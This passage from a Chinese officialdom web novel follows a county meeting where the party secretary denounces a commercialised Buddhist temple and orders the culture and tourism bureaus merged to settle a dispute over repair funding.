她顿了顿,“我们试图寻找寺内农禅合一的痕迹。”
“但后山那片僧侣躬耕自养的禅田,早已完全抛荒,杂草丛生,藤蔓疯长,几乎看不出田地的原貌。”
“田垄崩塌,杂草荆棘密达数尺深,早不见寸许平整之地。”
“一块写有‘禅心农场’字样的朽烂木牌,一半深埋在荒草腐泥中,另一半则横卧在干涸龟裂的水沟旁,几乎要被时间啃噬殆尽。”
“那片田已经荒废了至少三四年。”
“农禅合一,”江昭宁的声音里含着一丝无法纾解的疲惫,“这维系了千年的清修命脉,断了!”
所有的**面面相觑。
“寺庙内是有斋餐,
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至于用餐,”秦怡的声音陡然提高了几分,带着明显的讽刺,“我这里有一份菜单。”
“那可真叫‘大开眼界’。”
“一个装修得富丽堂皇的‘养心斋’,素菜的价格牌看得人倒吸凉气——一最便宜的单人套餐也要45元。”
“单点菜的话那就更贵了,据说是得德高僧吃的菜,那价格让人咋舌。”
“一盘清炒山野菜,标价98;一碗所谓的‘罗汉菌汤’,168;最普通的豆腐,换个‘莲池清心’的名头,就敢要128!”
“这比城里五星级酒店还贵,吃的还是素!”
“僧人服务员就在旁边站着,面无表情,一副‘嫌贵你别吃’的样子。”
“哪里还有半点‘十方供养,普惠众生’的意思?”
随着秦怡和林方政的汇报层层深入,会场内的温度似乎骤然升高。
刘世廷几次下意识地想端起面前的茶杯喝水,手指却抖得厉害,杯盖与杯身碰撞发出细微而清脆的“咯咯”声。
在这寂静的会议室里显得格外刺耳。
其他**们的反应同样是震惊与难以置信交织。
王海峰头紧锁,指关节无意识地敲击着桌面,发出“笃笃”的轻响。
刘国梁则张大了嘴,眼神里充满了困惑和一丝被欺骗的恼怒。
赵强摘下眼镜,用力揉了揉眉心,长长地叹了口气。
低低的议论声如蚊蚋般嗡嗡响起。
“不可能吧?我上个月陪省里领导去视察,完全不是这样啊!”
“是啊,我去的时候,东妙方丈亲自陪着,讲解佛法,态度谦和得很,斋饭也是免费的,味道也不错…”
“那些功德箱…感觉…感觉氛围挺庄重的啊?并没有僧人守呀,难道…”
他们眼中的清凉寺是,僧人肃立,梵音缭绕,素斋免费,香火不沾凡尘气息。
“同志们,”江昭宁的声音不高,却像一柄冰冷的锥子,瞬间刺破了所有的低语和怀疑。
他缓缓站起身,双手撑着桌面,身体微微前倾,目光如炬,带着洞穿一切虚妄的力量,缓缓扫过每一个人的脸。
他尤其在谷庄身上多停留了一瞬,那目光仿佛带着实质的重量,压得他几乎要缩进椅子里。
“感到惊讶?难以置信?”
“甚至怀疑我与秦怡、林方政同志所见的真实性?”
第183章 不能一棍子打死
“这也难怪!”他嘴角勾起一丝冰冷的弧度,那笑意里没有半分温度,只有深深的嘲讽和沉重,“因为你们下去检查,都是前呼后拥,提前打好招呼的!”
“车子还没到山门,电话早就打过去了!”
“等你们‘大驾光临’,看到的,当然是一个被打扫得一尘不染、秩序井然、僧众恭谨、免费素斋的‘模范寺庙’!”
“东妙当然会亲自出来迎接,笑容可掬,妙语连珠,把你们捧得舒舒服服!”
“那些碍眼的摊位、聒噪的喇叭、漫天要价的菜单、晾晒的内衣,甚至那些贪婪盯着游客钱包的‘功德箱守护者’,自然会被提前收拾得干干净净!”
“你们看到的,是他们精心排练、**后,专供领导检查的‘样板戏’!”
他停顿了一下,胸膛微微起伏,似乎在压抑着汹涌的情绪。
再次开口时,声音里带上了一种痛彻心扉的悲凉与无法遏制的愤怒:“而我们昨天,是真正的微服私访!”
“没有前导车开道,没有随行人员簇拥,没有提前通知!”
“买票,进门,挤在普通游客中间,像一个普通的、好奇的、或者带着一丝虔诚的香客那样,去观察,去感受!”
“我们看到的,才是今日清凉寺最赤裸、最肮脏、最不堪入目的真相!”
他的声音陡然拔高,如同惊雷炸响在会议室上空,带着一股摧枯拉朽的力量,重重地拍在每个人的心坎上:“今日的清凉寺,外表金碧辉煌掩盖不了内里的破败腐朽!”
“它早已被铜臭浸透了骨髓,只剩下一具被金钱腐蚀得千疮百孔的躯壳在苟延残喘!尸居余气!”
“昔日的那份‘一日不作,一日不食’、以农证道、以禅安心、在清贫艰苦中砥砺心性的清绝风骨,如今还剩下多少?在哪里?!”
江昭宁猛地一拍桌子,“砰”的一声巨响震得桌上的茶杯都跳了一下,茶水溅出。
他眼中燃烧着熊熊怒火,声音因激动而微微发颤:“唐代布袋和尚那首禅诗,‘手把青秧插满田,低头便见水中天。六根清净方为道,退步原来是向前’!多么朴实的劳作,多么深邃的意境!”
“低头插秧,就在这最寻常的农事里,照见的是广阔无垠的水中天,体悟的是六根清净的真大道!”
“清凉寺这片禅田曾是它精神的根脉!可现在呢?抛荒!荒废了几年!”
“农禅合一的祖训?早就被他们当作绊脚石,丢到爪哇国去了!”他的手指仿佛要戳破虚空,直指那无形的堕落深渊,“这哪里还是普度众生、弘扬佛法的清净道场?”
“这分明就是一个唯利是图、打着佛祖招牌疯狂敛财的生意公司!公司!”
江昭宁掷地有声的控诉如同冰水泼入滚油,会议室里瞬间炸开了锅。
愤怒的低吼、难以置信的抽气声、沉痛的叹息交织在一起。
谷庄的头垂得更低了,汗水几乎在桌面汇成了小洼。
就在这片愤怒的喧嚣中,一个略显沙哑、带着明显不以为然腔调的声音,如同投入激流中的一块圆滑卵石,突兀地响起,试图稳住局面。
“昭宁同志,各位**!”已恢复了镇定的刘世廷慢悠悠地开口了。
他身体微微前倾,双手摊开,掌心向上,自然而然地摆出一副推心置腹、体恤下情的姿态。
那张保养得宜的脸上,皱纹舒展,带着一种惯常的、令人放松的温和笑意,仿佛在安抚一群激动的孩子。“消消气,消消气嘛。”
他拿起保温杯,不疾不徐地拧开盖子,吹了吹并不存在的热气,抿了一口。
然后他才继续说道,语气显得格外语重心长:“寺庙收点香火钱,搞点经营,这也是迫不得已的现实嘛!”
“我们看问题,要理解基层的难处,不能一味求全责备,站在云端上说话不腰疼啊。”
他环视一周,目光刻意在几位年纪稍长、神情略显犹疑的**脸上停留片刻,寻求着潜在的认同。
“大家想想,”刘世廷的声音更加恳切,掰着手指头数起来,“清凉寺那么大一座庙,上上下下多少张嘴要吃饭?”
“僧人要穿衣吧?要住房吧?看病吃药要不要钱?这都不是小数目!”
“还有,佛像的金身,风吹日晒
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雨淋,要维护吧?”
“大殿的屋顶,瓦片破了漏雨,要修葺吧?”
“那些古建筑,梁柱虫蛀了,彩绘剥落了,抢救性保护要不要大把的银子投入?哪一样离得开钱?”
他摊开手,脸上露出一丝无奈的笑容,“巧妇难为无米之炊啊!”
“佛祖也得体谅僧侣和寺院的现实困难,对不对?佛祖也是讲道理的嘛!”
他顿了顿,将保温杯轻轻放在桌面上,发出轻微的磕碰声,目光转向江昭宁,带着一丝长辈劝导晚辈的宽容:“昭宁同志,你的心情我完全理解。”
“清修,那是理想,是目标,是最高境界。”
“我们当然要提倡,要引导。”
“但过日子,柴米油盐酱醋茶,这是现实!现实问题要用现实的办法来解决。”
“寺庙也要生存,也要发展。”
“搞点经营,增加点收入,只要不是太过分,只要大方向是为维护寺庙、弘扬佛法服务,我看,也是情有可原,可以理解的嘛!”
“不能一棍子打死,把洗澡水和孩子一起泼出去啊!”
刘世廷的语调始终平和,甚至带着点循循善诱的味道,仿佛在阐述一个不言自明的道理。
他巧妙地避开了秦怡和林方政汇报中那些最尖锐、最不堪的事实——那些强买强卖的功德箱、天价素斋、内衣晾晒,只笼统地用“经营”、“收入”来概括。
他将寺庙赤裸裸的商业化、戒律的废弛,轻描淡写地归结为“现实困难”、“情有可原”,甚至搬出了“佛祖体谅”这样极具迷惑性的说法。
他那“清修是理想,过日子是现实”的论调,更是将原则性的问题偷换成了简单的生存问题,试图用看似务实、实则妥协的姿态,消解江昭宁那雷霆万钧的质问所带来的冲击力。
为清凉寺,或者说,为某些人,筑起一道“现实困难”的挡箭牌。
刘世廷这番“体谅现实”、“佛祖也得讲理”的论调。
如同在燃烧的愤怒火焰上浇了一勺粘稠的油。
虽未浇灭。
却让那火焰呈现出一种诡异而危险的闷烧状态。
第184章 底线在哪里?
江昭宁猛地抬起头,脸色铁青,额角青筋隐隐跳动。
他盯着刘世廷那张带着“理解式”微笑的脸,胸中的怒火几乎要冲破理智的堤坝。
就在他即将拍案而起之际,一个清冷而坚定的声音提前响起。
“刘县长,”秦怡开口了,她的声音不高,却异常清晰,像冰凌敲击,瞬间吸引了所有人的目光。
她并未看刘世廷,而是微微侧身,目光沉静地扫过全场,最后落回到自己面前的笔记本上,仿佛在陈述一个早已论证完毕的客观事实。
“我理解您提到的现实困难。”
“僧人要吃饭,庙宇要维护,这些确实是客观存在。”
她的语调平稳,“但是,我们汇报中所反映的清凉寺现状,早已远远超出了‘维持基本生存’和‘合理经营’的范畴。”
“更彻底背离了佛教戒律清规和禅宗祖庭的根本精神。”
她拿起一份薄薄的资料,轻轻放在桌上:“根据我们初步了解,以及从工商、税务部门侧面印证的部分信息,仅去年一年,以‘清凉寺’或关联公司名义登记的各类经营主体就新增了五个。”
“经营范围涵盖素斋餐饮、工艺品销售、旅游接待、养生保健,甚至还有一家所谓的‘禅意文化投资公司’。”
“其收入规模,恐怕远超‘维持基本运转’所需。”
“东妙监院名下,关联的豪华车辆、多处房产,资金来源是否经得起深究?”
“这是否还是您所说的‘迫不得已’?”
江昭宁的目光直视刘世廷,那双清澈的眸子里没有任何攻击性,只有冷静的审视和深切的忧虑:“我们并非苛求僧人清贫度日,也并非反对寺庙在政策允许范围内进行合理的经营性活动以自养。”
“但底线在哪里?”
“当僧人不再是修行者,而是精明的推销员,目光紧盯着游客的钱包,言语间充满了诱导和暗示;当庄严的殿堂被喧嚣的摊位和刺耳的叫卖包围;当本应清心寡欲的禅房门口晾晒着俗世女子的内衣;当象征‘广种福田’的禅田抛荒数年,而‘养心斋’里一盘素菜敢要价上百元……”
“这还是我们所要保护的宗教活动场所吗?”
“这与市场上唯利是图的公司有何本质区别?”
他微微停顿,声音里带上了一丝沉重的痛惜:“刘县长,你说佛祖也要体谅现实的难处。”
“但我想问,当寺庙的核心不再是修行弘法,而是汲汲营营于敛财;当僧人的心思不再在经典戒律,而在经营创收的‘业绩’时,这样的‘庙’,供奉的究竟还是佛祖吗?”
“还是在供奉他们自己心中那尊名为‘贪婪’的神像?这样的‘现实’,佛祖会体谅吗?”
“信众们会体谅吗?”
“我们党和政府引导宗教与社会主义社会相适应的政策初衷,难道就是体谅这种背离宗教本质、败坏社会风气的‘现实’吗?”
江昭宁的话,如同一把精准的手术刀,冷静地剖开了刘世廷那套“现实困难论”温情脉脉的面纱,露出了里面赤裸裸的、以生存为借口的贪婪和失序。
他将清凉寺的问题,清晰地定位在是否坚守宗教本质、是否遵守法律法规、是否维护社会风气的原则性高度上。
没有激烈的言辞,没有愤怒的指责,只有基于事实的层层剖析和直指核心的灵魂拷问。
每一个问题抛出,都让刘世廷脸上的“理解式”笑容僵硬一分,也让会议室里其他**眼中的疑虑和审视加深一层。
空气仿佛**昭宁冰冷的声音冻结了,只剩下无声的震撼在弥漫。
会议室里陷入一片死寂,连空气都仿佛凝结成了冰。
刘世廷脸上那标志性的温和笑容彻底僵住,嘴角微微抽搐了一下,眼神深处掠过一丝难以捕捉的狼狈和恼怒。
他下意识地端起保温杯,却发现自己的手指也在不易察觉地轻颤。
他勉强喝了一口水,喉咙滚动,似乎在吞咽某种难以言说的梗塞感。
他张了张嘴,似乎想反驳江昭宁“过度解读”、“不了解宗教特殊性”,或者再强调一下“稳定大局”、“避免引发宗教矛盾”的重要性。
但最终,在江昭宁那如寒潭般深沉冷冽的目光逼视下,在秦怡列举的无可辩驳的事实面前,他那些惯用的、圆滑的词汇,第一次显得如此苍白无力。
他最终只是喉结再次滚动了一下,将到了嘴边的话又硬生生咽了回去,脸色变得有些灰败。
“农禅祖训,丢到了爪哇国!”江昭宁的声音再次响起。
这一次,却带着一种穿透时空的沉重回响。
不再是刚才的雷霆震怒
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,而是沉淀下来的、锥心刺骨的悲凉。
他的目光似乎穿透了会议室厚厚的墙壁,投向了远方那座云雾缭绕的山巅古刹。
“诸位,可还记得我刚才吟的布袋和尚那首偈子?”他再次低声吟诵,声音在寂静的会议室里回荡,每一个字都仿佛带着千钧的重量:“‘手把青秧插满田,低头便见水中天。六根清净方为道,退步原来是向前’……”
吟诵完,他陷入了短暂的沉默,那沉默里饱含着对一种逝去精神的深切缅怀。
“低头插秧,寻常劳作。就在这最低的姿态里,在浑浊的泥水中,却映照出朗朗乾坤,浩瀚青天!”
江昭宁的声音陡然拔高,“这是何等的智慧!何等的境界!六根不为外尘所染,在劳作中保持清净,这就是修行的大道!”
“看似退步,弯腰插秧,实则是向前,证悟大道!”
“清凉寺的僧侣,正是在这片禅田里,一锄一犁,躬耕不辍,在汗水中打磨心性,在泥土里参悟禅机!”
“这片田,是他们的命脉,是他们精神的象征!是他们区别于世俗、证得菩提的根基!”
他的目光锐利如电,扫过鄂建设和谷庄,扫过每一个**的脸,最后定格在虚无的前方,仿佛看到了那荒草丛生的禅田景象:“可如今呢?田,荒了!心,也荒了!”
“精神的根脉,断了!”
“他们抛弃了赖以立身的根本,抛弃了祖师大德用血汗践行的道路!”
“一头扎进了铜臭的泥潭里,还美其名曰‘现实’?‘过日子’?”他猛地一拍桌子,这次声音不大,却带着一种玉石俱焚的决绝,“当清修之地变成赤裸裸的生意公司,他们丢掉的是千年的传承!”
江昭宁的声音每一个字都浸透了沉痛与无边的愤怒:“这不是小问题!这是根子烂了!是方向错了!”
“是有人在把佛祖的清净道场,当成自家的摇钱树,当成予取予求的私人领地!是在玷污信仰,败坏风气,腐蚀人心!”
“这种‘现实’,我们县委,还要体谅多久?还要纵容多久?!”
他的质问,如同沉重的鼓点,一声声敲打在每个人的心头。
会议室里,只剩下粗重的呼吸声,和一种无形的、令人窒息的巨大压力。
窗外的天色,似乎更加阴沉了。
第185章 我们还有多少余钱?
江昭宁眼神犀利,“文物保护方面,也就是寺庙修缮的钱,究竟应当由政府哪个部门出?”
“是文化局?还是旅游局?”
“江**,”秦怡开口,声音不高却足够传递全场,“清凉寺,特别是主体建筑群的情况,大家有目共睹。”
“年久失修不是虚话,结构安全隐患逐年递增,承载了几百年风雨的木构件内部糟朽程度……”
她顿了顿,语调愈发沉重,仿佛自己也承受着那木梁的腐朽重压,“去年专业勘察证实,多处主要承重梁、柱榫卯节点强度锐减,结构位移远超安全范围。”
“这已经不是简单的瓦片修补、油饰更新了。”
“每一次降雨,每一次风吹,都是考验。随时都有局部甚至整体垮塌的风险。”
“真要是塌了,我们谁都交不了待,这责任是沉甸甸的,更是历史的罪人。”
“程序呢?”江昭宁的追问紧随而至,像一把冰冷的解剖刀,“资质、审批,走通它!”
秦怡嘴角那抹苦笑更深了,带着无可奈何的疲惫。“资质有严格的限制和评审流程,每一步都不能省。”
“审批……需要文保专家的多重现场复核,要上级主管部门的层层签批……时间成本巨大无比。”
她深吸一口气,声音比刚才压得更低,更显艰涩,“但这些问题虽然层层叠叠,终究都能想办法去推动解决。”
“真正卡脖子的,是钱。“
“文物修缮专项经费,按规定归口,明确是文化局负责编制预算、管理和划拨。”
林方政也插言道:“我们旅游局没有这个专项拨款名目,更没有这笔钱,一分也没有。”
秦怡的目光从江昭宁脸上短暂移开,缓缓扫视全场,带着一丝不被理解的委屈。“我们旅游局这边,看到问题严重,不可能坐视不理。”
“从去年开始,算上这次安全报告递交,已经正式打了三次紧急申请报告,一次次强调情况危重,请市里协调明确资金来源……”
“私下里,我们林局长带队,跑去文化局那边也沟通了不下四五次。”
“每一次都是同样的话题,同样的迫切诉求——这笔燃眉之急的钱,到底从哪个口子出?”
“谁来牵头启动实质性操作?”
会议室内针落可闻。
角落里,文化局鄂建设局长额角沁出汗珠。
他下意识地端起茶杯,掩饰着动作里的些微颤抖,试图缓解喉头的发紧。
“但是,结果呢?”秦怡语气里的无力感蔓延开来,几乎成了弥漫在会议室空气中的窒息感,“我们收到的回复,无论是书面的,还是私下沟通时对方摆出的理由……”
她无奈地摊了摊手,像是被无形的皮球击中了掌心,“他们说,清凉寺早已不是单纯的古建筑,它现在最主要的功能是什么?是旅游接待!”
“是全市重点旅游创收项目!”
“每年门票收入、二次消费、带动的周边旅游,账本上明明白白,巨大的经济收益进了旅游的口袋。”
“他们的逻辑是——既然受益最大的是旅游,”秦怡的语气带着一丝难以掩饰的疲于应对,“那么支撑起这一切的最核心基础,也就是这古建筑本身的保护、修缮、维护,这笔巨额投入,‘理所当然’就应该由旅游口承担大头。”
她略作停顿,加重了后半句的转述,“他们强调,文物保护是源头、是根基,这点没错;但旅游开发带来的巨大经济利益,不能只进不出。这钱,应该‘反哺’回去,用来维系文物的安全持续,这难道不是天经地义?”
会场响起几声轻微而克制的倒吸冷气。
秦怡目光投向鄂建设,语调平静却含着尖锐的质感:“这就是他们的核心态度——要么旅游局一家负责这庞大开销,要么两家共同分担。”
“总之,他们认为文化局财政预算本就紧张、负担沉重,‘完全独立承担’这么大一个窟窿的修缮专款,既不现实,也不公平。这就是症结所在,江**,各位领导。”
她微微收住话头,无声地环顾四周,最后沉沉补上一句总结:“结果就是……两个部门、两种说法,彼此认定‘出师有名’。”
“报告一次次打上来,讨论会开了好几场,可……钱!钱的问题始终卡在最关键的地方,推不动、挪不了。”
“谁也咬不死它该归谁,谁都不愿意也觉得自己无力独立承担这笔巨大的、实实在在的支出。”
“仿佛那根本就不是一张拨款表,而是一个烫得拿不住的炭球,在两只手之间来回抛掷,都怕在掌心停留太久烫出了泡。”
林方政叹息道:“旅游局是管旅游接待服务不假!”
“但我们收的门票钱,大头是用于景区日常运营维护、人员工资、环境保洁、安全巡查、宣传营销!”
“哪一项不是刚需?哪一项能省?我们还有多少余钱?”
这一席话如同一把无形的钩子,瞬间把所有人的目光都扯向了文化局鄂建设的位置。
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>空气骤然凝成有形的压力,沉甸甸地压在他的头顶、后背。
鄂建设的脸迅速涨红起来,汗水真真切切地沿着鬓角滚落。
那半杯端在手里用以掩饰的茶,因手腕不稳而轻微摇晃,淡黄的茶汤在杯壁上晃动,映照出他此刻仓皇狼狈的倒影。
他张了张嘴,嘴唇无声翕动了几下,喉咙干得像卡了把沙砾。
江昭宁眼神如鹰隼锁定猎物,毫无感情地追问:“她说得是不是事实?”
这句话,像一把冷硬的凿子,猛地钉进了死寂的空气中。
鄂建设身体不易察觉地哆嗦了一下,肩背绷紧如拉满的弓弦。
会议桌下,藏在阴影里的膝盖竟无意识地小幅度地打起颤来。
豆大的汗珠彻底失去了控制,顺着油腻的额角滑落到颧骨,又滚过剧烈跳动的颈部血管,最终洇湿了他浅蓝色衬衣领口的一角。
“……是……不是。”鄂建设的声音黏滞混沌,带着一种惊惧之下语序颠倒的混乱。
这两个字吐得含混不清又心虚不已。
“是,还是不是?”江昭宁的声音没有丝毫波澜,却如同骤然落下的重锤,清晰、冷硬地砸在每个人心头。
鄂建设猛地闭上眼,又睁开,绝望地吸了口气,肩膀随着这个动作垮塌下去,仿佛支撑他脊梁的那根无形的钉子被彻底拔除了。“……是。”
他终于从喉咙深处挤出这个字,短促、喑哑,像耗尽了他胸腔里最后一点气力。
承认的声音落地,会场却陷入了更深一重的寂静。
某种隐秘的、被压抑的情绪流动起来,是紧张,是失望,更是等待雷霆降临的恐惧。
“好,好得很!”
江昭宁唇边缓缓扯开一抹冰冷的弧度,眼神锐利如淬火的刀锋,却没有看鄂建设,也没有看秦怡及林方政,“一个和尚挑水吃,两个和尚抬水吃,三个和尚没水吃!老祖宗说得再明白不过的道理!”
他骤然拔高了声音,字字如冰雹砸在桌面,“多龙治水?我看是一堆泥鳅搅浑水!职能交叉,责权不分!”
“遇到好处就伸手,遇见困难就踢球!”
“互相推诿,互相掣肘!”
“口口声声讲程序、讲规定,究其根本,是机制本身出了大问题!”
“都在自己那一亩三分地上打转转、看利益、讲委屈?!”
他语速极快,每一个掷出的词语都带着金属的质感,敲击着所有人的神经。
窗玻璃似乎也随之微微震颤起来。
第186章 再没有扯皮的余地!
话音甫落,江昭宁那冰冷如刀锋的视线猛地收回,再次掠过那些端坐或局促的面孔,最终定格在林方政和鄂建设身上:“根子不正,叶子焉能不发黄?”
“多头管理,责随权移,谁都不是明确的责任人,谁都有充足的理由甩开那烫手山芋!”
“机制上埋下的病根,靠道德说教、靠协调,有用吗?”
短暂的沉默如同一块沉重的黑绸,笼罩了整个会议室。
“怎么办呢?”他没有给任何人留下思考和反应的空隙,目光锐利如探照灯,扫过全场每一位**,“既然扯了这么多‘麻纱’,那就干脆一点——”
他的声音陡然转成斩铁截钉的命令:
“文化局、旅游局……从职能到编制,彻底合并!”
“整合为一——成立新的文旅局!”
他眼中最后一抹犹豫彻底消失,眼神如同磐石般坚硬:“职能合并清晰,责任彻底归口!从今往后,文旅一体!”
“再遇到清凉寺这样的事,那就是它一个部门的职责,自己的账!自己的管!自己担!”
“再没有了扯皮、推诿的灰色地带!责任如山,责!无!旁!贷!”
最后四个字,如同重锤击打在金锣上,带着震耳欲聋的轰鸣和不容置疑的力量,轰然炸响。
会议室被这突如其来的宣告钉在了原地。
空气仿佛成了粘稠的胶质,凝固了每一张脸上复杂难辨的表情,也几乎冻结了窗外的流云。
江昭宁并未停歇,语调带着不容置喙的节奏感。“刘主任,”他的目光精准地投向列席会议的刘志刚,“立即草拟方案,明确新局构架、职能划转细则、预算统一归口,以及各部门资产人员过渡安排……两天内呈报**会议审!”
不容喘息,他紧接着看向两位当事人,目光如锋:“林局长、鄂局长!”两人触电般挺直了身体,“你们两家回去后即刻着手内部摸底梳理!”
刘世廷开口道:“此事,还要从长计议,两个局合并再建牵扯的事太多。”
江昭宁胸膛剧烈起伏。
他深吸一口气,强迫自己压下翻腾的怒火,但那目光中的决心却如淬火之钢,更加坚硬锐利。“体制不顺,是万弊之源。”
“今天能为了清凉寺的修缮费扯皮,明天就能为任何交叉地带的工作互相掣肘!”
“这种顽疾,必须从根子上剜掉!我的意见,不变!”
“旅游、文化两局合并,势在必行!成立新的文旅局,统一事权,统一财权,统一负责文化遗产的保护与活化利用!”
“一龙治水,责无旁贷!再没有扯皮的余地!”
他的声音斩钉截铁,不容置疑,目光再次扫过每一位**,“这是唯一的破局之道!谁支持?谁反对?”
江昭宁斩钉截铁的“谁支持?谁反对?”如同一块巨石投入深潭,在死寂的会议室里激起沉重的回响,也重重砸在每个人的心上。
**们神色各异,空气仿佛凝固了。
窗外的光影在地板上拖得很长,静得可怕。
这雷厉风行的指令如同利斧斩断乱麻,却也像骤然拔起的闸门,放出了在场所有人心中奔涌的暗流。
鄂建设额头的汗珠不断渗出,脸色苍白得像刷了一层劣质白垩,那几乎透明的皮肤下,每一根筋络都因过度紧张的抽动而微微凸起。
他嘴唇轻微翕动着,试图发出什么声音来为自己的立场再做最后一丝辩解。
然而在江昭宁那双洞穿表象的冷峻目光之下,他如同被无形的烙铁按住了咽喉,最终只发出了一声短促、沉闷的气息,如同破旧的皮风箱漏了气。
所有辩解的话语都被那只无形大手狠狠地压回了喉咙深处,碾碎成渣。
他唯一能做的,是挺直已然发僵的背脊,僵硬地点了一下那颗沉重的头颅,汗水随之甩落,砸在身前的笔记本上,洇开一小片深色印记,边缘却早已凝固。
秦怡的反应截然不同。
她端坐的姿态纹丝不动,如同受过最严苛训练的特工,但那双眼底深处却似有火苗猛地蹿动了一下,瞬间点燃,随即又被强行抑制的暗光覆盖。
她放在膝上的双手,在桌面下短暂地捏紧,指节因用力而发白,仿佛在捕捉某种稍纵即逝的机会或是在压制内心翻腾的激动与思虑。
这短暂的动作之后,她的神色便如同潮水退去后的沙滩,恢复了职业性的、几无破绽的平静。
然而,她用力抿紧的唇角线条却暴露了一丝内心的波澜——那不是排斥,更像一种“终于到了这一天”的了然与随之而来的审慎权衡。
江昭宁的目光锐利如手术刀,不容置疑地扫过全场:“相关**若有初步意见或补充建议,现在正是提出论证的时机。”
他略微放缓语调,“文旅合并涉及面
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广,前期务必考虑周全,尤其职能边界划分、资金池并轨、人员专业转型路径。”
“包括清凉寺这类标杆性项目的历史遗留权责追溯问题……这些都是合并前预案必须啃下来的硬骨头,一点都不能含糊。”
话音落地,短暂的沉默被某种焦灼的低语取代。
几位**迅速交换着眼神,如同无声的电波在空中交织碰撞。
刘国梁放下一直在指尖转动的笔,率先开口,语调沉稳而务实:“**的决策切中要害,我完全支持。”
“职能整合理顺后,责任就落到一处,这从根本上杜绝了职责不清导致的扯皮,是大势所趋。”
他话锋一转,“合并,这意味着短期内要付出巨大的改革成本。”
“两个局现有的人员如何消化?”
“超编的、临近退休的、各种关系塞进来的,都是棘手难题。”
“两套班子合并后的领导职数如何削减?那些正职副职的位置,牵动着多少敏感神经?”
“还有办公场所整合、两套财务并账、历史遗留的债权债务厘清……每一件都是耗费人力物力的硬骨头。”
江昭宁的目光落在周明清身上:“机构合并的具体方案,组织部牵头,会同编办、人社局,一周内拿出详细草案,包括职能整合方案、人员分流安置原则、领导班子配备建议!”
“要快!要细!要敢于碰硬!”
他环视全场,声音带着一种开山劈石的果决,“清凉寺的危檐等不起,体制的沉疴也拖不起!”
“这把破局的刀,既然举起来了,就必须劈下去!”
“而且要快、要准、要狠!为古寺,也为长远!”
李娟微微欠身,补充道:“还有个关联的外部影响问题,就是社会认知——合并的消息一旦公布,外界,特别是那些关心清凉寺的文保专家、文化学者、旅游业者乃至网民,一定会有各式各样的声音。”
“担心旅游导向会伤害文保的纯洁性,或者担心过度文保会限制旅游开发,这些疑虑都需预判、引导。”
赵永春此刻轻咳一声,眉头微锁:“江**提的都很具体、很必要。不过……”
他谨慎地斟酌着词句,“文旅合并在省内尚属少有先例,清凉寺又是个敏感复杂的个案。”
“这么庞大机构的撤并重组,直接一步到位,动作力度是不是过大过急了?”
第187章 画蛇添足
“是否考虑先搞试点?比如选取清凉寺作为单个‘项目化’试点,尝试由两局抽调骨干搭建一个临时性的‘清凉寺古建修缮与文旅发展协同管理办公室’?”
“磨合好了管理模式,再推行两局合并也不迟。”
他的目光恳切地投向江昭宁,“稳妥推进、减少震荡可能更利于长远?”
会议室内温度仿佛下降了几度。
**们的神情各异:有人认同地点着头,有人若有所思地盯着笔记本,也有人目光直接投向江昭宁,等着他最终的决断。
所有的争辩、所有沉甸甸的考量,以及那如芒在背的压力,在此刻,都无声地汇集到了那个伫立窗前的身影之上。
江昭宁的声音像淬过冰水的刀锋,精准地切入了李娟的忧虑:“李部长担心外部声音,担心旅游导向伤害文保纯洁性,或者过度文保限制旅游开发,”他微微颔首,“这份审慎,可以理解。”
话音未落,他的目光陡然锐利,扫过全场,“但这个问题,恰恰是即将成立的文旅局必须直面、也必须厘清的‘天职’!”
“保护与发展,从来就不是非此即彼的单选题,而是手心手背的一体两面!”
“如何统筹?如何兼顾?如何找到那个最优的平衡点?”
他的手指关节在光滑的桌面上轻轻一叩,发出笃定的轻响,“这是新局成立后的核心考题!”
“我相信,职能归一、责权一体的文旅局,会比我们这些坐在上面指手画脚的人,更能找到符合清凉寺实际、经得起历史检验的答案!”
李娟张了张嘴,想再补充什么。
江昭宁的目光已如探照灯般转向了赵永春。
他刚才提出的“省内少有先例,是否考虑先行试点”的疑问,此刻成了江昭宁破局的下一块磨刀石。
“至于赵**所说的‘少有先例’,”江昭宁嘴角牵起一丝近乎冷峭的弧度,那弧度里没有温度,只有洞悉一切的沉静,“这个说法,已经过时了。”
他身体微微前倾,目光如炬,带着不容置疑的权威,“我工作过的临峰县,去年此时,文化旅游两局合并的牌子就已经挂起来了!”
“运行至今,效果斐然!”
“文物保护没有削弱,旅游收入反而提升了百分之三十!”
他说的每一个字都像重锤敲在众人心头。
他环视会场,声音沉稳而充满力量:“文化旅游深度融合,不是我们标新立异,这是时代发展的大潮所向,是中央顶层设计早已明确的改革路径!”
“是大势所趋!”
“我们县现在做这件事,不是早了,甚至可以说,已经是跟跑者,而非领跑者!”
他停顿片刻,让这认知的落差深深印入每个人的脑海,“我可以负责任地告诉大家,省里的全面推行方案,已经在路上!最迟年底,全省一盘棋!”
他看向赵永春,目光坦荡而锐利:“赵**,大势已定,潮流已成。”
“再谈什么‘先行试点’,不是谨慎,是犹疑!是拖沓!”
“是画蛇添足,多此一举!”
他的每一个词都斩钉截铁,“别的地方早已完成了从试验田到示范区的跨越!”
“我们东山县,难道还要在别人趟平的路上,再战战兢兢地插一根‘试点’的牌子吗?”
“时不我待!古寺危檐不等人,体制沉疴更拖不起!”
江昭宁的目光最终落下,如同两座无形的山峰,重重压在脸色灰败的鄂建设和神情凝重、双唇紧抿的林方政身上。
会议室里落针可闻,只剩下空调低沉的嗡鸣和压抑的呼吸声。
所有人都明白,**的意志已如磐石,无可撼动。
“过渡期安排,我明确一下!”江昭宁的声音陡然拔高,“从此刻起,到新文旅局挂牌运转前,没有文化局!没有旅游局!”
“只有‘清凉寺修缮应急指挥部’!”
他的手指如戟,直指鄂建设和林方政:“鄂建设!林方政!你们俩,就是指挥部的双指挥长!”
“捆在一起!绑在一块!同进同退!”
鄂建设仿佛被无形的鞭子抽打,身体猛地一颤,额头上刚被纸巾擦去的冷汗瞬间又密密匝匝地冒了出来,顺着太阳穴流下。
他下意识地想去擦,手抬到一半又僵在半空,显得异常狼狈。
林方政则猛地挺直了腰背。
像一根被骤然拉紧的弓弦,下颌线条绷得死紧,搁在桌面的双手十指交扣,指节因用力而泛出青白色。
眼神深处翻涌着惊愕,最终化为一片沉沉的、别无选择的凝重。
两人的目光在空中短暂地、
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极其复杂地碰撞了一下,随即像被烫到般迅速错开。
那堵横亘多年的部门之墙仍在。
但此刻,一道冰冷沉重的铁索,已将他们两人的命运死死铐牢。
“正常工作不能停!但所有工作,必须以清凉寺修缮为最优先、最核心!”
江昭宁的指令清晰如刀,“修缮方案,你们共同研究、共同签字上报!预算,你们共同核算、共同把关!”
“谁也别想躲在后面当甩手掌柜!”
